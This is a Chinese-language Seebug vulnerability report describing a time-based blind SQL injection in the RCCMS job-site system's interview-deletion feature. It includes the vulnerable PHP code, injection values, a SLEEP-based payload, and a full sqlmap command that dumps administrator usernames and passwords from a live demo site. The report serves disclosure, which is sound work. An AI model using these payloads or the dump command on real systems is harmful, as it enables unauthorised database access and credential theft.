嘉缘人才系统1处SQL注入#6(demo测试)

2014-11-27T00:00:00
ID SSV:94673
Type seebug
Reporter Root
Modified 2014-11-27T00:00:00

Description

简要描述:

嘉缘人才系统1处time-based盲注. (demo测试) http://v2014.rccms.com/

详细说明:

SQL注入在http://v2014.rccms.com/member/index.php?m=person_interview&show=works这个页面,删除面试通知处。 先看看代码:

/member/person_interview.php 11 if($do=='del'){ 12 $checks=$_POST['checks']; 13 $db ->query("delete from {$cfg['tb_pre']}myinterview where i_pmember='$username' and i_id in ($checks)"); 14 showmsg('ɾ���ɹ���',"?m=person_interview&show=$show",0,2000);exit(); 15 }else{

这里的$checks去了$_POST['checks'], 然后带入了SQL,没有做有效性检查。貌似可以注入。 准备:先一个个人账号,个人账号添加一份简历。注册一个公司账号,公司账号添加一个职位,然后发送面试邀请给刚才的简历。或者添加个人简历后,等待系统自动推荐一些简历过来。 进入会员中心 > 求职管理 > 收到的面试通知, 可以看到刚才的面试通知。还是老样子,先修改HTML做个简单的测试: 找到

<input type="checkbox" name="id" value="703">

将value修改为value="703) and",如下图:

<img src="https://images.seebug.org/upload/201411/2111082360cfc87ed215c4997b84233fd1672dd7.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

点击删除后可以看到SQL error。

<img src="https://images.seebug.org/upload/201411/21110905158ed0ccc852b080532df4bc18f428e3.png" alt="2.png" width="600" onerror="javascript:errimg(this);">

在将value修改为value="703) and (1",如下图:

<img src="https://images.seebug.org/upload/201411/21111019d6fea71af1085bf34cc6e8dc58d6e32e.png" alt="3.png" width="600" onerror="javascript:errimg(this);">

点击删除,删除成功:

<img src="https://images.seebug.org/upload/201411/21111039fa60fdbb017911d2c00bf3b988ef3093.png" alt="4.png" width="600" onerror="javascript:errimg(this);">

这里可以确定这个注入还是存在的。 本来是想既然可以boolean盲注,就利用公司账户不断的发送面试邀请,然后在个人账户去删除,TRUE的情况下删除,FALSE的情况下不删除来出数据的,后来发现一家公司发送不了那么多面试邀请,只好放弃了这个念头,改为试验time-based,有了sleep,SQL语句变成

delete from job_myinterview where i_pmember='tstuser' and i_id in (703) AND IF(1,IF(SLEEP(5),0,0),0) and (1)

这样的SQL就可以同时SLEEP,有可以不用删除数据了。 剩下的只要绕过FRCMS对sleep的check就行了,试验了一下,还是可以绕过的,于是写了一个sqlmap的针对这个case的test case。 sqlmap走起:

python sqlmap.py -u "http://v2014.rccms.com/member/index.php?m=person_interview&show=works&do=del" --referer="http://v2014.rccms.com/member/index.php?m=person_interview&show=works" --cookie="***cookie****" --data="id=3&checks=707)%20and%201=(0" --tech=T --dbms=mysql --random-agent --prefix="707)" --suffix="#'" -p checks --proxy="http://127.0.0.1:8080" --test-filter="FRCMS" --dump -T "job_admin" -C "a_user,a_pass" --time-sec=8 --delay=1 --data中的707为面试通知的id, --prefix中的707同

<img src="https://images.seebug.org/upload/201411/21160438a80a378a4db30814d146e78aa8f22da3.png" alt="5.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201411/2117490518212f9f505ee3dc81344fe035351811.png" alt="6.png" width="600" onerror="javascript:errimg(this);">

漏洞证明:

<img src="https://images.seebug.org/upload/201411/21110905158ed0ccc852b080532df4bc18f428e3.png" alt="2.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201411/21160438a80a378a4db30814d146e78aa8f22da3.png" alt="5.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201411/2117490518212f9f505ee3dc81344fe035351811.png" alt="6.png" width="600" onerror="javascript:errimg(this);">